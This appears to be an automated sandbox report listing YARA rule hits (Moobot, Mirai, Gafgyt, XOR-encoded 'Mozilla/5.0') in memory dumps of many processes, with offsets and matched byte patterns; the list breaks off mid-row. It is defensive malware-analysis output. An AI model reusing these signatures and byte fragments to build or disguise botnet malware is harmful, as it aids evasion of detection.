6255.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6255.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6255.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6255.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6255.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6255.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7239.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7239.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7239.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7239.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7239.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7239.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7056.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7056.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7056.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7056.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7056.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7056.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6767.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6469.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7322.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7385.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6454.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6381.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6381.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6381.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6381.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6381.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6381.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7146.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6392.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6392.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6392.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6392.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6392.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6392.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6835.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6835.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6835.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6835.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6835.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 